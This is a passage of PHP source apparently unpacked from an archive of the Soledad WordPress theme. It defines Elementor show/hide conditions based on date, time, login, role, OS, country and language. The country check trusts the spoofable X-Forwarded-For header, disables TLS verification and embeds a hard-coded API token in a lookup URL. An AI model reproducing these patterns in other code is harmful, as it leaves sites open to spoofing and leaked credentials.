			$_condition = $this->get_conditions( $key );

			if ( ! $_condition ) {
				continue;
			}

			$_condition->set_element_id( $id );

			$check = $_condition->check( $relation, $val, $custom_page_id, $extra, $addition_operator, $end_time );

			$this->conditions[ $id ][ $key . '_' . $condition['_id'] ] = $check;
		}
	}

	public function register_controls( $widget, $args ) {

		$widget->add_control(
			'pvc_display_conditions_enable',
			[
				'label'              => esc_html__( 'Display Conditions', 'soledad' ),
				'type'               => Controls_Manager::SWITCHER,
				'default'            => '',
				'label_on'           => esc_html__( 'Yes', 'soledad' ),
				'label_off'          => esc_html__( 'No', 'soledad' ),
				'return_value'       => 'yes',
				'frontend_available' => true,
			]
		);

		$widget->add_control(
			'pvc_display_conditions_to',
			[
				'label'     => esc_html__( 'To', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'show',
				'options'   => [
					'show' => esc_html__( 'Show', 'soledad' ),
					'hide' => esc_html__( 'Hide', 'soledad' ),
				],
				'condition' => [
					'pvc_display_conditions_enable' => 'yes',
				],
			]
		);

		$widget->add_control(
			'pvc_display_conditions_relation',
			[
				'label'     => esc_html__( 'When', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'all',
				'options'   => [
					'all' => esc_html__( 'All Conditions Met', 'soledad' ),
					'any' => esc_html__( 'Any Condition Met', 'soledad' ),
				],
				'condition' => [
					'pvc_display_conditions_enable' => 'yes',
				],
			]
		);

		$this->_conditional_repeater = new Repeater();

		$this->_conditional_repeater->add_control(
			'pvc_condition_key',
			[
				'label'       => __( 'Select a condition', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'authentication',
				'label_block' => true,
				'groups'      => $this->get_conditions_options(),
			]
		);

		$this->add_name_controls();

		$this->_conditional_repeater->add_control(
			'pvc_condition_operator',
			[
				'type'        => Controls_Manager::SELECT,
				'default'     => 'is',
				'label_block' => true,
				'options'     => [
					'is'  => esc_html__( 'Is', 'soledad' ),
					'not' => esc_html__( 'Is not', 'soledad' ),
				],
			]
		);

		$this->_conditional_repeater->add_control(
			'pvc_condition_addition_operator',
			[
				'type'        => Controls_Manager::SELECT,
				'default'     => 'equal',
				'options'     => [
					'equal'            => esc_html__( 'Equal to', 'soledad' ),
					'greater_or_equal' => esc_html__( 'Greater than or Equal to', 'soledad' ),
				],
				'label_block' => true,
				'condition'   => [
					'pvc_condition_key' => 'orders_placed',
				],
			]
		);

		$this->add_value_controls();

		$this->_conditional_repeater->add_control(
			'pvc_condition_custom_page_id',
			[
				'label'       => esc_html__( 'Custom Page ID', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => '10',
				'label_block' => false,
				'condition'   => [
					'pvc_condition_key'               => 'static_page',
					'pvc_condition_static_page_value' => 'custom',
				],
			]
		);

		$this->_conditional_repeater->add_control(
			'pvc_condition_time_range_end_time',
			[
				'label'          => esc_html__( 'End Time', 'soledad' ),
				'type'           => Controls_Manager::DATE_TIME,
				'dynamic'        => [ 'active' => true ],
				'picker_options' => [
					'noCalendar' => true,
					'dateFormat' => "H:i",
				],
				'label_block'    => true,
				'condition'      => [
					'pvc_condition_key' => 'time_range',
				],
			]
		);

		$widget->add_control(
			'pvc_display_conditions',
			[
				'label'         => esc_html__( 'Conditions', 'soledad' ),
				'type'          => Controls_Manager::REPEATER,
				'prevent_empty' => false,
				'condition'     => [
					'pvc_display_conditions_enable' => 'yes',
				],
				'fields'        => $this->_conditional_repeater->get_controls(),
				'title_field'   => 'Condition - <# print(pvc_condition_key.replace(/_/i, " ").split(" ").map(word => word.charAt(0).toUpperCase() + word.slice(1)).join(" ")) #>',
			]
		);
	}

	/**
	 * Add control name for repeater
	 */
	private function add_name_controls() {
		if ( ! $this->_conditions ) {
			return;
		}

		foreach ( $this->_conditions as $_condition ) {

			if ( false === $_condition->get_name_control() ) {
				continue;
			}

			$condition_name = $_condition->get_name();
			$ctrl_key       = 'pvc_condition_' . $condition_name . '_name';
			$ctrl_settings  = $_condition->get_name_control();

			// Show this only if the user select this specific condition
			$ctrl_settings['condition'] = [
				'pvc_condition_key' => $condition_name,
			];

			$this->_conditional_repeater->add_control( $ctrl_key, $ctrl_settings );
		}
	}

	/**
	 * Add controls values from here
	 */
	private function add_value_controls() {
		if ( ! $this->_conditions ) {
			return;
		}

		foreach ( $this->_conditions as $_condition ) {

			$condition_name = $_condition->get_name();
			$ctrl_key       = 'pvc_condition_' . $condition_name . '_value';
			$ctrl_settings  = $_condition->get_control_value();

			// Show this only if the user select this specific condition
			$ctrl_settings['condition'] = [
				'pvc_condition_key' => $condition_name,
			];

			$this->_conditional_repeater->add_control( $ctrl_key, $ctrl_settings );
		}
	}

	/**
	 * Get the condition options from here
	 * @return array
	 */
	private function get_conditions_options() {

		$groups = $this->get_groups(); // for grouping condtion

		foreach ( $this->_conditions as $_condition ) {
			$groups[ $_condition->get_group() ]['options'][ $_condition->get_name() ] = $_condition->get_title(); // for grouping condtion
		}

		return $groups;
	}

	protected function is_visible( $id, $relation ) {

		if ( ! array_key_exists( $id, $this->conditions ) ) {
			return false;
		}

		if ( ! Plugin::$instance->editor->is_edit_mode() ) {
			if ( 'any' === $relation ) {
				if ( ! in_array( true, $this->conditions[ $id ] ) ) {
					return false;
				}
			} else {
				if ( in_array( false, $this->conditions[ $id ] ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Final condition renderer which will show/hide as per conditions needs
	 *
	 * @param $should_render
	 * @param $widget
	 *
	 * @return bool|mixed
	 */
	public function schedule_before_render( $should_render, $widget ) {

		$settings = $widget->get_settings();

		if ( ! empty( $settings['pvc_display_conditions_enable'] ) && 'yes' === $settings['pvc_display_conditions_enable'] ) {

			$this->set_conditions( $widget->get_id(), $settings['pvc_display_conditions'] ); // set condition

			$check_conditions = $this->is_visible( $widget->get_id(), $settings['pvc_display_conditions_relation'] ); // check condition
			$to               = $settings['pvc_display_conditions_to'];

			if ( ( 'show' === $to && true === $check_conditions ) || ( 'hide' === $to && false === $check_conditions ) ) {
				$should_render = true;
			} else if ( ( 'show' === $to && false === $check_conditions ) || ( 'hide' === $to && true === $check_conditions ) ) {
				$should_render = false;
			}
		}

		return $should_render;
	}

	protected function add_actions() {

		add_action( 'elementor/element/common/_section_style/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_section' ] );

		add_action( 'elementor/element/common/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/element/section/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );

		add_action( 'elementor/frontend/section/should_render', [ $this, 'schedule_before_render' ], 10, 2 );
		add_filter( 'elementor/frontend/widget/should_render', [ $this, 'schedule_before_render' ], 10, 2 );


		add_action( 'elementor/element/container/section_layout/after_section_end', [ $this, 'register_section' ] );
		add_action( 'elementor/element/container/section_penci_visibility_control_controls/before_section_end', [
			$this,
			'register_controls'
		], 10, 2 );
		add_action( 'elementor/frontend/container/should_render', [ $this, 'schedule_before_render' ], 10, 2 );

	}
}
PK     1w\    K  elementor/modules/penci-visibility-controls/conditions/date_time_before.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Date_Time_Before extends Condition {

	
	public function get_name() {
		return 'date_time_before';
	}

	
	public function get_title() {
		return esc_html__( 'Till Date (Server Time)', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		$default_date = date( 'Y-m-d', strtotime( '+3 day' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		return [
			'label'          => esc_html__( 'Before', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'picker_options' => [
				'enableTime' => false,
			],
			'label_block'    => true,
			'default'        => $default_date,
		];
	}

	
	public function check( $relation, $val ) {
		// Check vars
		if ( ! $val ) { // Make sure it's a date
			return;
		}

		// Get timestamps for comparison
		$date_ts = strtotime( $val );
		$today   = current_time( 'timestamp' );

		// Check that today is before specified date
		$show = $today <= $date_ts;

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\7S  S  I  elementor/modules/penci-visibility-controls/conditions/authentication.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Authentication extends Condition {

	
	public function get_name() {
		return 'authentication';
	}

	
	public function get_title() {
		return esc_html__( 'Login Status', 'soledad' );
	}

	
	public function get_group() {
		return 'user';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => 'authenticated',
			'label_block' => true,
			'options'     => [
				'authenticated' => esc_html__( 'Logged in', 'soledad' ),
			],
		];
	}

	
	public function check( $relation, $val ) {
		return $this->compare( is_user_logged_in(), true, $relation );
	}
}
PK     1w\\  \  ?  elementor/modules/penci-visibility-controls/conditions/time.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Time extends Condition {

	
	public function get_name() {
		return 'time';
	}

	
	public function get_title() {
		return esc_html__( 'Till Time of Day (Server Time)', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	
	public function get_control_value() {
		return [
			'label'          => esc_html__( 'Before', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'picker_options' => [
				'dateFormat' => 'H:i',
				'enableTime' => true,
				'noCalendar' => true,
			],
			'label_block'    => true,
			'default'        => '',
		];
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 * @return bool|void
	 * @since 8.5.7
	 */
	public function check( $relation, $val ) {
		// Split control valur into two dates
		$time = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $val ) ) );
		$now  = date( 'H:i', strtotime( 'now' ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		// Check vars
		if ( DateTime::createFromFormat( 'H:i', $time ) === false ) {
			return;
		}

		// Convert time to timestamp
		$time_ts = strtotime( $time );
		$now_ts  = strtotime( $now );

		// is date between start & end ?
		$show = ( $now_ts <= $time_ts );

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\k>j  j  B  elementor/modules/penci-visibility-controls/conditions/country.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Country extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'country';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Country', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'user';
	}

	/**
	 * Get the country
	 * @return array of different languages
	 */
	public function get_control_value() {
		$country_list = array();

		$countries = array(
			'Afghanistan',
			'Albania',
			'Algeria',
			'American Samoa',
			'Andorra',
			'Angola',
			'Anguilla',
			'Antarctica',
			'Antigua and Barbuda',
			'Argentina',
			'Armenia',
			'Aruba',
			'Australia',
			'Austria',
			'Azerbaijan',
			'Bahamas',
			'Bahrain',
			'Bangladesh',
			'Barbados',
			'Belarus',
			'Belgium',
			'Belize',
			'Benin',
			'Bermuda',
			'Bhutan',
			'Bolivia',
			'Bosnia and Herzegowina',
			'Botswana',
			'Bouvet Island',
			'Brazil',
			'British Indian Ocean Territory',
			'Brunei Darussalam',
			'Bulgaria',
			'Burkina Faso',
			'Burundi',
			'Cambodia',
			'Cameroon',
			'Canada',
			'Cape Verde',
			'Cayman Islands',
			'Central African Republic',
			'Chad',
			'Chile',
			'China',
			'Christmas Island',
			'Cocos (Keeling) Islands',
			'Colombia',
			'Comoros',
			'Congo',
			'Congo, the Democratic Republic of the',
			'Cook Islands',
			'Costa Rica',
			"Cote d'Ivoire",
			'Croatia (Hrvatska)',
			'Cuba',
			'Cyprus',
			'Czech Republic',
			'Denmark',
			'Djibouti',
			'Dominica',
			'Dominican Republic',
			'East Timor',
			'Ecuador',
			'Egypt',
			'El Salvador',
			'Equatorial Guinea',
			'Eritrea',
			'Estonia',
			'Ethiopia',
			'Falkland Islands (Malvinas)',
			'Faroe Islands',
			'Fiji',
			'Finland',
			'France',
			'France Metropolitan',
			'French Guiana',
			'French Polynesia',
			'French Southern Territories',
			'Gabon',
			'Gambia',
			'Georgia',
			'Germany',
			'Ghana',
			'Gibraltar',
			'Greece',
			'Greenland',
			'Grenada',
			'Guadeloupe',
			'Guam',
			'Guatemala',
			'Guinea',
			'Guinea-Bissau',
			'Guyana',
			'Haiti',
			'Heard and Mc Donald Islands',
			'Holy See (Vatican City State)',
			'Honduras',
			'Hong Kong',
			'Hungary',
			'Iceland',
			'India',
			'Indonesia',
			'Iran (Islamic Republic of)',
			'Iraq',
			'Ireland',
			'Israel',
			'Italy',
			'Jamaica',
			'Japan',
			'Jordan',
			'Kazakhstan',
			'Kenya',
			'Kiribati',
			"Korea, Democratic People's Republic of",
			'Korea, Republic of',
			'Kuwait',
			'Kyrgyzstan',
			"Lao, People's Democratic Republic",
			'Latvia',
			'Lebanon',
			'Lesotho',
			'Liberia',
			'Libyan Arab Jamahiriya',
			'Liechtenstein',
			'Lithuania',
			'Luxembourg',
			'Macau',
			'Macedonia, The Former Yugoslav Republic of',
			'Madagascar',
			'Malawi',
			'Malaysia',
			'Maldives',
			'Mali',
			'Malta',
			'Marshall Islands',
			'Martinique',
			'Mauritania',
			'Mauritius',
			'Mayotte',
			'Mexico',
			'Micronesia, Federated States of',
			'Moldova, Republic of',
			'Monaco',
			'Mongolia',
			'Montserrat',
			'Morocco',
			'Mozambique',
			'Myanmar',
			'Namibia',
			'Nauru',
			'Nepal',
			'Netherlands',
			'Netherlands Antilles',
			'New Caledonia',
			'New Zealand',
			'Nicaragua',
			'Niger',
			'Nigeria',
			'Niue',
			'Norfolk Island',
			'Northern Mariana Islands',
			'Norway',
			'Oman',
			'Pakistan',
			'Palau',
			'Panama',
			'Papua New Guinea',
			'Paraguay',
			'Peru',
			'Philippines',
			'Pitcairn',
			'Poland',
			'Portugal',
			'Puerto Rico',
			'Qatar',
			'Reunion',
			'Romania',
			'Russian Federation',
			'Rwanda',
			'Saint Kitts and Nevis',
			'Saint Lucia',
			'Saint Vincent and the Grenadines',
			'Samoa',
			'San Marino',
			'Sao Tome and Principe',
			'Saudi Arabia',
			'Scotland',
			'Senegal',
			'Seychelles',
			'Sierra Leone',
			'Singapore',
			'Slovakia (Slovak Republic)',
			'Slovenia',
			'Solomon Islands',
			'Somalia',
			'South Africa',
			'South Georgia and the South Sandwich Islands',
			'Spain',
			'Sri Lanka',
			'St. Helena',
			'St. Pierre and Miquelon',
			'Sudan',
			'Suriname',
			'Svalbard and Jan Mayen Islands',
			'Swaziland',
			'Sweden',
			'Switzerland',
			'Syrian Arab Republic',
			'Taiwan, Province of China',
			'Tajikistan',
			'Tanzania, United Republic of',
			'Thailand',
			'Togo',
			'Tokelau',
			'Tonga',
			'Trinidad and Tobago',
			'Tunisia',
			'Turkey',
			'Turkmenistan',
			'Turks and Caicos Islands',
			'Tuvalu',
			'Uganda',
			'Ukraine',
			'United Arab Emirates',
			'United Kingdom',
			'United States',
			'United States Minor Outlying Islands',
			'Uruguay',
			'Uzbekistan',
			'Vanuatu',
			'Venezuela',
			'Vietnam',
			'Virgin Islands (British)',
			'Virgin Islands (U.S.)',
			'Wales',
			'Wallis and Futuna Islands',
			'Western Sahara',
			'Yemen',
			'Yugoslavia',
			'Zambia',
			'Zimbabwe'
		);

		foreach ( $countries as $country ) {
			$key = strtolower( $country );
			/* translators: %s: Country Name */
			$val                  = sprintf( __( '%s', 'soledad' ), ucwords( $country ) );
			$country_list[ $key ] = $val;
		}

		return array(
			'label'       => __( 'Value', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'label_block' => true,
			'default'     => array(),
			'options'     => $country_list,
			'multiple'    => true,
		);
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 *
	 */
	public function check( $relation, $val ) {
		if ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {

			$x_forward = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );

			if ( is_array( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {

				$http_x_headers         = explode( ',', filter_var_array( $x_forward ) );
				$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
			} else {
				$_SERVER['REMOTE_ADDR'] = $x_forward;
			}
		}

		$ip_address = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';

		$country_info = wp_remote_get(
			'https://api.findip.net/' . $ip_address . '/?token=95c3f3ae01a6476e9cd7b1b5155e15ad',
			array(
				'timeout'   => 60,
				'sslverify' => false,
			)
		);

		$country_info = json_decode( wp_remote_retrieve_body( $country_info ), true );

		$country = strtolower( isset( $country_info['country']['names']['en'] ) ? $country_info['country']['names']['en'] : '' );

		$show = is_array( $val ) && ! empty( $val ) ? in_array( $country, $val, true ) : $val == $country;

		return self::compare( $show, true, $relation );
	}

}
PK     1w\{  {  >  elementor/modules/penci-visibility-controls/conditions/day.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Day extends Condition {

	
	public function get_name() {
		return 'day';
	}

	
	public function get_title() {
		return esc_html__( 'Day of Week', 'soledad' );
	}

	
	public function get_group() {
		return 'date_time';
	}

	/**
	 * Get the browser
	 * @return array of different days of week
	 * @since  8.5.7
	 */
	public function get_control_value() {
		return [
			'label'       => esc_html__( 'Day(s)', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'options'     => [
				'0' => esc_html__( 'Sunday', 'soledad' ),
				'1' => esc_html__( 'Monday', 'soledad' ),
				'2' => esc_html__( 'Tuesday', 'soledad' ),
				'3' => esc_html__( 'Wednesday', 'soledad' ),
				'4' => esc_html__( 'Thursday', 'soledad' ),
				'5' => esc_html__( 'Friday', 'soledad' ),
				'6' => esc_html__( 'Saturday', 'soledad' ),
			],
			'multiple'    => true,
			'label_block' => true,
			'default'     => '1',
		];
	}

	
	public function check( $relation, $val ) {

		$day = date( 'w', current_time( 'timestamp' ) );

		$show = is_array( $val ) && ! empty( $val ) ? in_array( $day, $val ) : $val === $day;

		return self::compare( $show, true, $relation );
	}
}
PK     1w\    E  elementor/modules/penci-visibility-controls/conditions/time_range.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use DateTime;
use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Time_Range extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'time_range';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Time Range', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'date_time';
	}

	/**
	 * Get the control value
	 * @return array as per condition control value
	 */
	public function get_control_value() {
		return [
			'label'          => esc_html__( 'Start Time', 'soledad' ),
			'type'           => Controls_Manager::DATE_TIME,
			'dynamic'        => [ 'active' => true ],
			'picker_options' => [
				'noCalendar' => true,
				'dateFormat' => "H:i",
			],
			'label_block'    => true,
		];
	}

	/**
	 * Check the condition
	 *
	 * @param string $relation Comparison operator for compare function
	 * @param mixed $val will check the control value as per condition needs
	 */
	public function check( $relation, $val, $custom_page_id = false, $extra = false, $addition_operator = false, $end_time = false ) {

		$start_time = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $val ) ) );
		$end_time   = date( 'H:i', strtotime( preg_replace( '/\s+/', '', $end_time ) ) );
		$now        = date( 'H:i', strtotime( "now" ) + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

		if ( DateTime::createFromFormat( 'H:i', $start_time ) === false && DateTime::createFromFormat( 'H:i', $end_time ) === false ) // Make sure it's a valid DateTime format
		{
			return;
		}

		$start_time = strtotime( $start_time );
		$end_time   = strtotime( $end_time );
		$now        = strtotime( $now );

		// Check that user date is between start & end
		$show = ( ( $now >= $start_time && $now <= $end_time ) );

		return $this->compare( $show, true, $relation );
	}
}
PK     1w\ߗ    ?  elementor/modules/penci-visibility-controls/conditions/role.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Role extends Condition {

	
	public function get_name() {
		return 'role';
	}

	
	public function get_title() {
		return esc_html__( 'User Role', 'soledad' );
	}

	
	public function get_group() {
		return 'user';
	}

	
	public function get_control_value() {
		global $wp_roles;

		return [
			'type'        => Controls_Manager::SELECT,
			'description' => esc_html__( 'Warning: This condition applies only to logged in visitors.', 'soledad' ),
			'default'     => 'subscriber',
			'label_block' => true,
			'options'     => $wp_roles->get_names(),
		];
	}

	
	public function check( $relation, $val ) {
		$user_role = wp_get_current_user()->roles;

		return $this->compare( is_user_logged_in() && in_array( $val, $user_role ), true, $relation );
	}
}
PK     1w\9#P    =  elementor/modules/penci-visibility-controls/conditions/os.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Os extends Condition {

	
	public function get_name() {
		return 'os';
	}

	
	public function get_title() {
		return esc_html__( 'Operating System', 'soledad' );
	}

	
	public function get_group() {
		return 'system';
	}

	
	public function get_control_value() {
		return [
			'type'        => Controls_Manager::SELECT,
			'default'     => array_keys( $this->get_os_options() )[0],
			'label_block' => true,
			'options'     => $this->get_os_options(),
		];
	}

	/**
	 * Get the operating system
	 * @return array of different types of operating system
	 * @since  8.5.7
	 */
	protected function get_os_options() {
		return [
			'iphone'   => 'iPhone',
			'android'  => 'Android',
			'windows'  => 'Windows',
			'open_bsd' => 'OpenBSD',
			'sun_os'   => 'SunOS',
			'linux'    => 'Linux',
			'mac_os'   => 'Mac OS',
		];
	}

	
	public function check( $relation, $val ) {
		$oses = [
			'iphone'   => '(iPhone)',
			'android'  => '(Android)',
			'windows'  => 'Win16|(Windows 95)|(Win95)|(Windows_95)|(Windows 98)|(Win98)|(Windows NT 5.0)|(Windows 2000)|(Windows NT 5.1)|(Windows XP)|(Windows NT 5.2)|(Windows NT 6.0)|(Windows Vista)|(Windows NT 6.1)|(Windows 7)|(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)|Windows ME',
			'open_bsd' => 'OpenBSD',
			'sun_os'   => 'SunOS',
			'linux'    => '(Linux)|(X11)',
			'mac_os'   => '(Mac_PowerPC)|(Macintosh)',
		];

		return $this->compare( preg_match( '@' . $oses[ $val ] . '@', $_SERVER['HTTP_USER_AGENT'] ), true, $relation );
	}
}
PK     1w\V  V  C  elementor/modules/penci-visibility-controls/conditions/language.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciVisibilityControls\Conditions;

use PenciSoledadElementor\Base\Condition;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Language extends Condition {

	/**
	 * Get the name of condition
	 * @return string as per our condition control name
	 */
	public function get_name() {
		return 'language';
	}

	/**
	 * Get the title of condition
	 * @return string as per condition control title
	 */
	public function get_title() {
		return esc_html__( 'Site Language', 'soledad' );
	}

	/**
	 * Get the group of condition
	 * @return string as per our condition control name
	 */
	public function get_group() {
		return 'system';
	}

	/**
	 * Get the control value
	 * @return array as per condition control value
	 */
	public function get_control_value() {
		$lang_locales = array();

		$langs = array(
			'af'    => array( 'name' => 'Afrikaans', 'code' => 'af', 'wp_locale' => 'af', ),
			'sq'    => array( 'name' => 'Albanian', 'code' => 'sq', 'wp_locale' => 'sq', ),
			'ar'    => array( 'name' => 'Arabic', 'code' => 'ar', 'wp_locale' => 'ar', ),
			'bel'   => array( 'name' => 'Belarusian', 'code' => 'bel', 'wp_locale' => 'bel', ),
			'bn_BD' => array( 'name' => 'Bengali', 'code' => 'bn', 'wp_locale' => 'bn_BD', ),
			'bs_BA' => array( 'name' => 'Bosnian', 'code' => 'bs', 'wp_locale' => 'bs_BA', ),
			'bg_BG' => array( 'name' => 'Bulgarian', 'code' => 'bg', 'wp_locale' => 'bg_BG', ),
			'ca'    => array( 'name' => 'Catalan', 'code' => 'ca', 'wp_locale' => 'ca', ),
			'zh_CN' => array( 'name' => 'Chinese (China)', 'code' => 'zh-cn', 'wp_locale' => 'zh_CN', ),
			'zh_HK' => array( 'name' => 'Chinese (Hong Kong)', 'code' => 'zh-hk', 'wp_locale' => 'zh_HK', ),
			'hr'    => array( 'name' => 'Croatian', 'code' => 'hr', 'wp_locale' => 'hr', ),
			'cs_CZ' => array( 'name' => 'Czech', 'code' => 'cs', 'wp_locale' => 'cs_CZ', ),
			'da_DK' => array( 'name' => 'Danish', 'code' => 'da', 'wp_locale' => 'da_DK', ),
			'nl_NL' => array( 'name' => 'Dutch', 'code' => 'nl', 'wp_locale' => 'nl_NL', ),
			'nl_BE' => array( 'name' => 'Dutch (Belgium)', 'code' => 'nl-be', 'wp_locale' => 'nl_BE', ),
			'en_US' => array( 'name' => 'English', 'code' => 'en', 'wp_locale' => 'en_US', ),
			'en_AU' => array( 'name' => 'English (Australia)', 'code' => 'en-au', 'wp_locale' => 'en_AU', ),
			'en_CA' => array( 'name' => 'English (Canada)', 'code' => 'en-ca', 'wp_locale' => 'en_CA', ),
			'en_GB' => array( 'name' => 'English (UK)', 'code' => 'en-gb', 'wp_locale' => 'en_GB', ),
			'et'    => array( 'name' => 'Estonian', 'code' => 'et', 'wp_locale' => 'et', ),
			'fi'    => array( 'name' => 'Finnish', 'code' => 'fi', 'wp_locale' => 'fi', ),
			'fr_BE' => array( 'name' => 'French (Belgium)', 'code' => 'fr-be', 'wp_locale' => 'fr_BE', ),
			'fr_FR' => array( 'name' => 'French (France)', 'code' => 'fr', 'wp_locale' => 'fr_FR', ),
			'ka_GE' => array( 'name' => 'Georgian', 'code' => 'ka', 'wp_locale' => 'ka_GE', ),
			'de_DE' => array( 'name' => 'German', 'code' => 'de', 'wp_locale' => 'de_DE', ),
			'de_CH' => array( 'name' => 'German (Switzerland)', 'code' => 'de-ch', 'wp_locale' => 'de_CH', ),
			'el'    => array( 'name' => 'Greek', 'code' => 'el', 'wp_locale' => 'el', ),
			'he_IL' => array( 'name' => 'Hebrew', 'code' => 'he', 'wp_locale' => 'he_IL', ),
			'hi_IN' => array( 'name' => 'Hindi', 'code' => 'hi', 'wp_locale' => 'hi_IN', ),
			'hu_HU' => array( 'name' => 'Hungarian', 'code' => 'hu', 'wp_locale' => 'hu_HU', ),
			'is_IS' => array( 'name' => 'Icelandic', 'code' => 'is', 'wp_locale' => 'is_IS', ),
			'id_ID' => array( 'name' => 'Indonesian', 'code' => 'id', 'wp_locale' => 'id_ID', ),
			'ga'    => array( 'name' => 'Irish', 'code' => 'ga', 'wp_locale' => 'ga', ),
			'it_IT' => array( 'name' => 'Italian', 'code' => 'it', 'wp_locale' => 'it_IT', ),
			'ja'    => array( 'name' => 'Japanese', 'code' => 'ja', 'wp_locale' => 'ja', ),
			'kn'    => array( 'name' => 'Kannada', 'code' => 'kn', 'wp_locale' => 'kn', ),
			'ko_KR' => array( 'name' => 'Korean', 'code' => 'ko', 'wp_locale' => 'ko_KR', ),
			'lt_LT' => array( 'name' => 'Lithuanian', 'code' => 'lt', 'wp_locale' => 'lt_LT', ),
			'lb_LU' => array( 'name' => 'Luxembourgish', 'code' => 'lb', 'wp_locale' => 'lb_LU', ),
			'ml_IN' => array( 'name' => 'Malayalam', 'code' => 'ml', 'wp_locale' => 'ml_IN', ),
			'ne_NP' => array( 'name' => 'Nepali', 'code' => 'ne', 'wp_locale' => 'ne_NP', ),
			'nb_NO' => array( 'name' => 'Norwegian (Bokmål)', 'code' => 'no', 'wp_locale' => 'nb_NO', ),
			'fa_IR' => array( 'name' => 'Persian', 'code' => 'fa', 'wp_locale' => 'fa_IR', ),
			'pl_PL' => array( 'name' => 'Polish', 'code' => 'pl', 'wp_locale' => 'pl_PL', ),
			'pt_BR' => array( 'name' => 'Portuguese (Brazil)', 'code' => 'pt-br', 'wp_locale' => 'pt_BR', ),
			'pt_PT' => array( 'name' => 'Portuguese (Portugal)', 'code' => 'pt', 'wp_locale' => 'pt_PT', ),
			'ro_RO' => array( 'name' => 'Romanian', 'code' => 'ro', 'wp_locale' => 'ro_RO', ),
			'ru_RU' => array( 'name' => 'Russian', 'code' => 'ru', 'wp_locale' => 'ru_RU', ),
			'ru_UA' => array( 'name' => 'Russian (Ukraine)', 'code' => 'ru-ua', 'wp_locale' => 'ru_UA', ),
